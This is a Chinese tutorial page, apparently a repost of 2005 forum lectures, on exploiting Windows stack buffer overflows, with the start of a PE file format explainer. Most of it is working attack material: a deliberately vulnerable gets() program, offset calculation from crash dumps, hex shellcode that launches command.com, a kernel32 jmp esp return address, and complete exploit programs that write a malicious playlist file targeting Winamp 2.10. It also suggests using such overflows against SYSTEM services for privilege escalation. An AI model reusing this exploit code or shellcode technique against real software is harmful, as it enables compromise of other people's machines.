编程之路

本文主要讨论了shellcode备份的相关内容,深入浅出地介绍了在编程过程中shellcode备份的重要性及其实施方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

关于shellcode备份

关键词shellcode                                          

关于shellcode 备份2
aker lee 整理 2005-12-16

window系统下的堆栈溢出
PE文件格式分析
通用windows下shellcode的编写(一)

window系统下的堆栈溢出
黑森林 发表于 2005-10-29 23:44:00
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的堆栈溢出漏洞。

让我们从头开始。windows 98第二版

首先,我们来写一个问题程序:
#i nclude

int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++) 
printf("//0x%x",name[i]);
}

相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程序一个很长的串,肯定可以覆盖堆栈中的返回地址。

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61

到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点击详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我们。这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏移位置。

C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0x32/0x31
/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0x30/0x32
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细信息按钮,下面是详细信息:

VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68 
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c 

哦 哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计算一下可以知道,在堆栈中,从name变 量地址开始偏移36处,是EBP的地址,从name变量地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的 shellcode。我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始地址是多少呢?

通过上面的 stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为0x32383237,那么计算得出,name的开始地址为:0x0064fe00- 44=0x64fdd4。在windows系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址都是相同的。也就是说,每 次运行,name的地址都是0x64fdd4。

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检测,出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。

OK,万事具备,只差shellcode了。

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一个dos窗口,这样在这个窗口下,我们就可以作很多事情。

开一个dos窗口的程序如下:
#i nclude
#i nclude

typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;

char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";


LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;
}

这 个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个dos窗口。在C库函数里面,语句system (command.com);将完成我们需要的功能。但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说, windows通过动态链接库来提供系统函数。这就是所谓的Dll's。

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们 必须找到那个包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一个基本地址,该DLL每一次被加载都是从这个基本地址加载。比 如,system函数由msvcrt.dll(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个 偏移地址只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,msvcrt.dll版本为(v6.00.8397.0)。 system的偏移地址为0x019824。

所以,要想执行system,我们必须首先使用LoadLibrary (msvcrt.dll)装载动态链接库msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle, system)获得 system的真实地址。之后才能使用这个真实地址来调用system函数。

好了,现在可以编译执行,结果正确,我们得到了一个dos框。

现在对这个程序进行调试跟踪汇编语言,可以得到:

15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在,eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18: 
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代码是否能够像我们设计的那样工作:

#i nclude
#i nclude

void main()
{

LoadLibrary("msvcrt.dll");

__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;给ebp赋新值,将作为局部变量的基指针
xor edi,edi ;
push edi ;压入0,esp-4,
;作用是构造字符串的结尾/0字符。 
sub esp,08h ;加上上面,一共有12个字节,
;用来放"command.com"。 
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax ;调用system
}
}

编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起了当年用286的时候了?

敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我们的程序已经把堆栈指针搞乱了。

对上面的算法进行优化,现在我们可以写出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 
0xFF,0xD0 /*call eax */
};

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个shellcode:
#i nclude
#i nclude
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 
0xFF,0xD0 /*call eax */
};

int main() {
int *ret;
LoadLibrary("msvcrt.dll");

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有push ebp ,否则加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地址。

}
编译运行,得到dos对话框。

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆栈溢出的能力了,下面,我们通过实战来真正掌握他。

◆溢出字符串的设计

我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计算偏移地址,以及如何编写一个shellcode以得到dos。

但是这远远不够。

大家知道windows系统的用户进程空间是0--2G,操作系统所占的为2--4G。事实上用户进程的加载位置为:0x00400000.这个进程的所有指令地址,数据地址和堆栈指针都会含有0,那么我们的返回地址就必然含有0。

现在来看一看我们的shellcode:NNNNSSSSAAAAAA。显然,我们的shellcode由于A里面含有0,所以就变成了NNNNNNNNSSSSSA,这样,我们的返回地址A必须精确的放在确切的函数堆栈中的ret位置。

事实上,在上一讲里面,我们已经掌握了很精确的找到这个位置的方法。

其次,windows在执行mov esp,ebp的时候,把废弃不用的堆栈用随机数据填充(实验所得,机制如何,大家一起研究),因此我们的shellcode可能会被覆盖!----这下完蛋了,我们的shellcode都没了,返回地址正确又有什么用??

所以,我们的shellcode必须改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在缓冲区溢出发生之后,堆栈的布局如下:

内存底部 内存顶部
buffer EBP ret 
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆栈顶部 堆栈底部 

看到了吗?我们的A覆盖了返回地址。S位于堆栈的底部。A的内容,就是指向S的调用。

但是,刚才我们说过A里面是含有0字符的,这样的溢出字符串,在A处就被0阻断,根本无法到shellcode。我们需要把A改成不包含0的地址。

好像没有办法了,是吗?现在我们的A如何能做到即可以跳转到我们的shellcode,又可以不包含0字节呢?

大 家可能还记得当年IIS4.0远程攻击的作者dark spyrit AKA Barnaby Jack吧?他在99年的Phrack Magzine55.15 上提出了使用系统核心dll中的指令来完成跳转的思想。我不得不说这是一个天才的想法。事实上,这一技巧开创了一个崭新的windows缓冲区溢出的思 路。

思路是这样的:返回地址A的内容不指向我们的shellcode开始地点,否则的话A里面必然含有0。我们知道系统核心的dll都是 在2-4G,也就是从0x80000000到0xffffffff,这里面的指令地址将不包含0,(当然几个别的除外,我们可以不用他)。因此,我们可以 令返回地址A等于一个系统核心dll中的指令的地址,这个指令的
作用就是call/jmp 我们的shellcode。

但是他怎么才能知道我们的shellcode的地址呢?

答 案是:用寄存器。因为在溢出发生的时候,除了eip跳到了系统核心dll去之外,其他的通用寄存器都保持不变。在寄存器里面一定有我们的 shellcode的相关信息。比如说,敌人的函数如果有参数的话,那么我们的A覆盖了他的返回地址,shellcode的开始地址则恰恰在他的第一个参 数的位置上,那我们就可以用call [ebp+4]或者我们假设敌人第一个参数的地址在eax,那我们就可以使用call/jmp eax来调用shellcode。这些寄存器的值,我们可以在第一讲里面提到的“关闭程序框”里面获得寄存器和堆栈的详细资料。

那么我们怎么知道哪里有call/jmp eax什么的呢?我们又怎么知道这些指令是每次都在内存中可以直接调用呢?

答 案是:系统核心dll。系统核心dll包括kernel32.dll,user32.dll,gdi32.dll.这些dll是一直位于内存中而且对应于 固定的版本windows加载的位置是固定的。你可以在这些dll里面搜索你需要的指令。其他的dll,比如msvcrt。dll就要去看程序自己的 import列表了。看看他是否load了这个dll。不过一般的说,这几个dll就够了。

好,那么我们的shellcode最终为:
NNNNNNNNNNNNNNNASSSSSSSS
其中:N为NOP指令
A为指向某一条call/jmp指令的地址,这个call/jmp指令位于系统核心内存>0x80000000,这个call/jmp指令具体的内容,需要根据我们exploit出来的结果分析得知。
S:shellcode。

有了这些基础知识,我们来分析一个实例。

大家都有winamp吧,他的2.10有缓冲区漏洞,下面我们来实现一个exploit。

winamp的playlist支持文件*.pls存放playlist。playlist里面的文件名长度如果大于一定长度就会发生堆栈溢出。我们可以写出测试串,精确的测试。
test.cpp
----------------------------------------------------------------------------
#i nclude

int main()
{
char buffer[640];
char eip[8] = "";
char sploit[256] = "";
FILE *file;

for(int x=0;x<640;x++)
{
switch(x%4) {
case 0: buffer[x] = 'A';break;
case 1: buffer[x] = 'A'+x/26%26/26%26; break;
case 2: buffer[x] = 'A'+x/26%26; break;
case 3: buffer[x] = 'A'+x%26;break;

}
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "/nNumberOfEntries=1");

fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
----------------------------------------------------------------------------
算法很简单,是写出一个crach.pls文件,内容可以根据那几个fprintf看出来的。我就不讲了,其中buffer的内容为测试用的字符串。这个测试程序可以测试最长为26^3的串,足够了。

编译执行,看看结果,嘿,发生了堆栈溢出,结果如下:

WINAMP 在 00de:4c574141 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=4bd7
EDX=005b02dc ES=0187 EDI=00000001 GS=4206
Bytes at CS:EIP:

Stack dump:
50574141 54574141 58574141 42584141 46584141 4a584141 
4e584141 52584141 56584141 5a584141 44594141 48594141 
4c594141 50594141 

根据eip=4141574c计算得出,addr = (57h-41h)*26+(4ch-41h)-4 = 580.
好,溢出的位置为580。

大家现在知道我们的溢出字符串中,返回地址A应该在串的580处,那么我们应该让他使用什么call/jmp指令以达到shellcode呢?

看看寄存器dump,我们发现ESP里面的内容是41415750,恰好是4141574c之后的第一个数。看来ESP指向我们的shellcode,太棒了!我们使用指令:jmp ESP 就可以执行我们的shellcode了。

现在找出jmp esp的指令码为 FF E4,ctrl-D 调出s-ice,看看内存里面那里有FF E4.因为系统核心dll的加载地址都是从地址0xBf000000开始,所以我们搜索s Bf000000 L ffffffff ff,e4 得到了哪些结果?

一 堆呀,这第一个是:BFF795A3。看看softice里面的进程名称栏:Kernel32!GetDataFormatA+1554好,是 kernel32.dll里面的,肯定是可以用的啦。ok,问题解决,我们现在可以确定在buffer〔580〕处,写入四个字节:"/xa3/x95/ xf7/xbf".这就是我们的溢出字符串中的返回地址A。

好了,现在溢出字符串已经基本分析完了,就差shellcode了。
下面我们来写shellcode。
我们的shellcode要开一个dos窗口。C语言的算法描述是:

LoadLibrary("msvcrt.dll");
system("command.com");
exit(0);
很简单,是不是?下面是汇编代码:

首先要LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
mov edx,0xBFF776D4 //LoadLibrary
push edx
lea eax,[ebp-0Ch]
push eax
call dword ptr[ebp-10h]
然后是开一个dos窗口:
push ebp 
mov ebp, esp 
sub esp, 0000002C 
mov eax, 6D6D6F63 
mov dword ptr [ebp-0C], eax
mov eax, 2E646E61 
mov dword ptr [ebp-08], eax
mov eax, 226D6F63 
mov dword ptr [ebp-04], eax
xor edx, edx 
mov byte ptr [ebp-01], dl 
lea eax, dword ptr [ebp-0C]
push eax 
mov eax, 78019824 //system 
call eax 
最后执行exit,退出来。

push ebp
mov ebp,esp
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//exit
push edx
xor eax,eax
push eax
call dword ptr[ebp-04h]

简单说一下,msvcrt.dll是运行C语言标准库函数所必须的一个动态链接库。
要想使用system,exit,必须加载这个库。而winamp没有import这个库,
所译我们需要自己加载。
指令 mov edx,0xBFF776D4中,0xBFF776D4是函数LoadLibraryA的地址。
他的代码在kernel32.dll中,是被winamp加载了的dll。我的机器上kernel32.dll
版本是: (v4.10.2222) .
0x78019824 是msvcrt.dll里面的函数system的地址。版本:(v6.00.8397.0)
0x78005504 是msvcrt.dll里面的函数exit的地址。版本:(v6.00.8397.0)
由于里面有0,所以使用两条指令来完成:
mov edx,0xFFFFFFFF
sub edx,0x87FFAAFB//==mov edx,0x78005504

编译,找出二进制code:
shellcode:
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E" 
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4" 
"/x50/xB8/x24/x98/x01/x78/xFF/xD0" 
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

好了,所有的算法都讨论完了,下一讲我们就来实现一个exploit

◆最后的完善

我们把前面写的测试程序稍加改动就是一个exploit程序:
exploit.cpp
----------------------------------------------------------------------------
#i nclude

int main()
{


char buffer[640];
char eip[8] = "/xa3/x95/xf7/xBF";
char shellcode[256] = 
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"//load
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E" 
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4" 
"/x50/xB8/x24/x98/x01/x78/xFF/xD0" 
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

FILE *file;

for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}

file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", shellcode);
fprintf(file, "/nNumberOfEntries=1");

fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}
----------------------------------------------------------------------------

OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,就应该出一个dos。出来了吗?

哎呀,怎么又是错误?

WINAMP 在 017f:004200c3 的模块
WINAMP.EXE 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=444f
EDX=005b02dc ES=0187 EDI=00000001 GS=4446
Bytes at CS:EIP:
00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b 
Stack dump:
0a006da1 8000009d 0000442a 90000000 90909090 90909090 
90909090 90909090 90909090 90909090 90909090 90909090 
90909090 90909090 90909090 90909090 

看看出错信息,EIP是4200c3,看来已经开始执行我们的shellcode了,怎么会有无效页错误呢?看来我们的shellcode有问题。

这个时候,s-ice就又派上用场了,跟踪一下看看:
ctrl-d
bpx bff795a3(就是我们的jmp esp)
x
好,现在运行winamp,打开文件crash.pls,被s-ice拦下,开始跟踪。一个jmp esp之后,就到了我们的shellcode上,继续执行,看到了什么吗?

奇怪!我们的shellcode变短了,到B8249801,后面就没有了。这是怎么回事?应该是/xB8/x24/x98/x01/x78呀,/x01到什么地方去了?

看来敌人把输入的溢出字符串作乐处理,把不能作为文件名的字符都作为0处理了(事实上这是win32api函数作的处理)。我们的shellcode被截断了。

我在第4讲第一节就说过对这种问题的对策。这个问题的解决需要我们改换shellcode,去掉那些有问题的字符:/x01

我们作如下替换:
mov eax,78019824 ----> mov eax,ffffffff
sub eax,87fe67db
汇编得到:

xB8/x24/x98/x01/x78 ----> /xB8/xFF/xFF/xFF/xFF
/x2d/xdB/x67/xFe/x87
得到下面的新程序:
/* Stack based buffer overflow exploit for Winamp v2.10
* Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
*
* For a detailed description on the exploit see my advisory.
*
* Tested with Winamp v2.10 using Windows98 on an Intel
* PII 400 with 128MB RAM
*
* http://indigo.ie/~lmf

* modify by ipxodi 20-01-2k

* for windows98 the 2nd version and for a new shellcode.

* windows98 v 4.10.2222.A chinese version
* pII 366 with 64MB RAM(Not a good PC,en?)

* ipxodi@263.net
*/

#i nclude

int main()
{

char buffer[640];
char eip[8] = "/xa3/x95/xf7/xbf";
char sploit[256] = "/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA/x50/x77/xF7/xbF/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E" 
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4" 
"/x50/xB8/xFF/xFF/xFF/xFF/x2d/xdB/x67/xFe/x87/xFF/xD0"
"/x55/x8B/xEC/xBA/xFF/xFF/xFF/xFF/x81/xEA/xFB/xAA/xFF/x87/x52/x33/xC0/x50/xFF/x55/xFC";

FILE *file;

for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");

fprintf(file, "[playlist]/n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "/nNumberOfEntries=1");

fclose(file);
printf("/t created file crAsh.pls loaded with the exploit./n");
return 0;
}


OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
结果如下,我可爱的dos出来了:

Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.

D:/hacker/document/ipxodi>dir
.........................
........就不贴了.........

总结:

经 过这次实战的演练,大家一定对windows下的buffer overflow有了很深的掌握了。我们可以看到,windows下的堆栈溢出攻击和unix下的,原理基本相同。但是,由于windows用户进程地址 空间分配和堆栈处理有其独立的特点,导致了windows环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。这也是我在写完 linux下的堆栈溢出系列之后,另外写windows系列的原因。

另外,大家从破解的过程中,可以发现我一再强调windows的版 本。事实上,这也导致了windows下的exploit不具有通用性。大家的windows版本不一,而exploit使用了很多动态链接库里面的库函 数,其地址都是与dll的版本有关系的。不同的dll版本,里面的库函数的偏移地址就可能(注意:是可能)不同。因为windows的patch天天有, 他的一些dll就更新很快。甚至可能不同语言版本的windows,其核心dll的版本都不同。用户的dll一变更,那么,我们的exploit里面的 shellcode就要重新写。

为了解决这个问题,我想我们可以尽量减少固定地址的使用。即使用GetProcAddress来获得我们将使用的每一个系统函数,当然这就大大加长了我们的shellcode。但是,这也无法消除对kernel32.dll的中LoadLibrary和
GetProcAddress的地址的直接引用,因为这两个是shellcode中最基本的函数,自然就导致了对kernel32.dll版本的依赖。

这里奉劝大家,当你写的exploit发生无效页错误时,不要灰心。运行sice,跟踪你的shellcode,会发现问题的根源的。

因此,这也回答了去年xsz,littleworm它们的问题。当时我们实验IIS4.0的exploit总是没有成功,client端执行完了以后server端我们经常看到access violation的框,就是因为shellcode的版本依赖问题导致的。

所以,对于windows下的堆栈溢出exploit,必须公开原代码,才能由其他人完成别的版本的修改,这一点,大家以后公布exploit时,要记住。

说一句题外话:
很多人运行了堆栈溢出exploit以后没有成功,就认为自己的机器没有毛病。对此,dark spyrit AKA Barnaby Jack曾有这样的建议:
If the exploit failed......
Do not determine the threat to your servers solely on the results of one
public exploit - the vulnerability exists, fix it. If you think that was
the only demonstration code floating around you need your head examined.

以 前咱们水木黑客版97年堆栈溢出大讨论的时候,rainer就很高水平的探讨过windows下的buffer overflow。他的文章现在还在,大家可以去精华区看看。不过当时只是探讨原理,还停留在堆栈溢出的可行性,远没有探讨利用他来攻击。我也曾经以为 windows的堆栈溢出攻击是不必要的。

后来,NT的中普通用户获取admin,我想到过仿照UNIX,搞缓冲区溢出攻击。因为NT里 面有很多系统进程,都是以system账号启动的。如果我们可以将它们overflow,按照上面的方法,可以得到dos,(NT下是cmd.exe), 将拥有超级用户的权限。当然可以为所欲为了。

这只是windows NT下堆栈溢出攻击的一个应用。去年,我研究IIS4.0的溢出之后,发现带有问题的windows网络服务程序导致了windows堆栈溢出,可以帮助我们获得远程控制。才认识到windows堆栈溢出攻击将是一个很有研究价值的攻击手段。

在后续的研究中,有时候因为困难几乎要放弃。好在有小懒虫(sysword),小四(hellguard),康师傅(kxn)这些网友给我的督促和帮助。在此感谢,同时感谢以前一起讨论过windows系列堆栈溢出的朋友littleworm,xsz它们。

最后,我希望我的讲座作为抛砖引玉,能够引发大家更深入的探讨。希望大家在看了之后,能够对windows堆栈溢出技术有一定了了解。如果大家能够提出改进的算法,或者发现新的exploit,就真正是光大了我们黑客版的精神。


PE文件格式分析
黑森林 发表于 2005-10-30 14:33:00

在shellcode的编写过程中,关于API的定位会涉及到“exe”和“dll”文件格式问题,下面给一详细说明:

PE文件结构 

    PE文件格式被组织为一个线性的数据流,它由一个MS-DOS头部开始,接着是一个是模式的程序残余以及一个PE文件标志,这之后紧接着PE文件头和 可选头部。这些之后是所有的段头部,段头部之后跟随着所有的段实体。文件的结束处是一些其它的区域,其中是一些混杂的信息,包括重分配信息、符号表信息、 行号信息以及字串表数据。我将所有这些成分列于图1。
screen.width-500)this.style.width=screen.width-500;">520)this.width=520;" style="CURSOR: hand" οnclick=javascript:window.open(this.src); src="http://www.vckbase.com/document/journal/vckbase38/images/pe1.gif" οnlοad="javascript:if(this.width>520)this.width=520;" align=absMiddle border=0>
图1.PE文件映像结构 
   从MS-DOS文件头结构开始,我将按照PE 文件格式各成分的出现顺序依次对其进行讨论,并且讨论的大部分是以示例代码为基础来示范如何获得文件的信息的。所有的源码均摘自PEFILE.DLL模块 的PEFILE.C文件。这些示例都利用了Windows NT最酷的特色之一——内存映射文件,这一特色允许用户使用一个简单的指针来存取文件中所包含 的数据,因此所有的示例都使用了内存映射文件来存取PE文件中的数据。 
   注意:请查阅本文末尾关于如何使用PEFILE.DLL的那一段。 

MS-DOS头部/实模式头部 

    如上所述,PE文件格式的第一个组成部分是MS-DOS头部。在PE文件格式中,它并非一个新概念,因为它与MS-DOS 2.0以来就已有的MS- DOS头部是完全一样的。保留这个相同结构的最主要原因是,当你尝试在Windows 3.1以下或MS-DOS 2.0以上的系统下装载一个文件的时 候,操作系统能够读取这个文件并明白它是和当前系统不相兼容的。换句话说,当你在MS-DOS 6.0下运行一个Windows NT可执行文件时,你会 得到这样一条消息:“This program cannot be run in DOS mode.”如果MS-DOS头部不是作为PE文件格式的第 一部分的话,操作系统装载文件的时候就会失败,并提供一些完全没用的信息,例如: “The name specified is not recognized as an internal or external command, operable program or batch file.” 
   MS-DOS头部占据了PE文件的头64个字节,描述它内容的结构如下: 

//WINNT.H

typedef struct _IMAGE_DOS_HEADER { // DOS的.EXE头部
  USHORT e_magic; // 魔术数字
  USHORT e_cblp; // 文件最后页的字节数
  USHORT e_cp; // 文件页数
  USHORT e_crlc; // 重定义元素个数
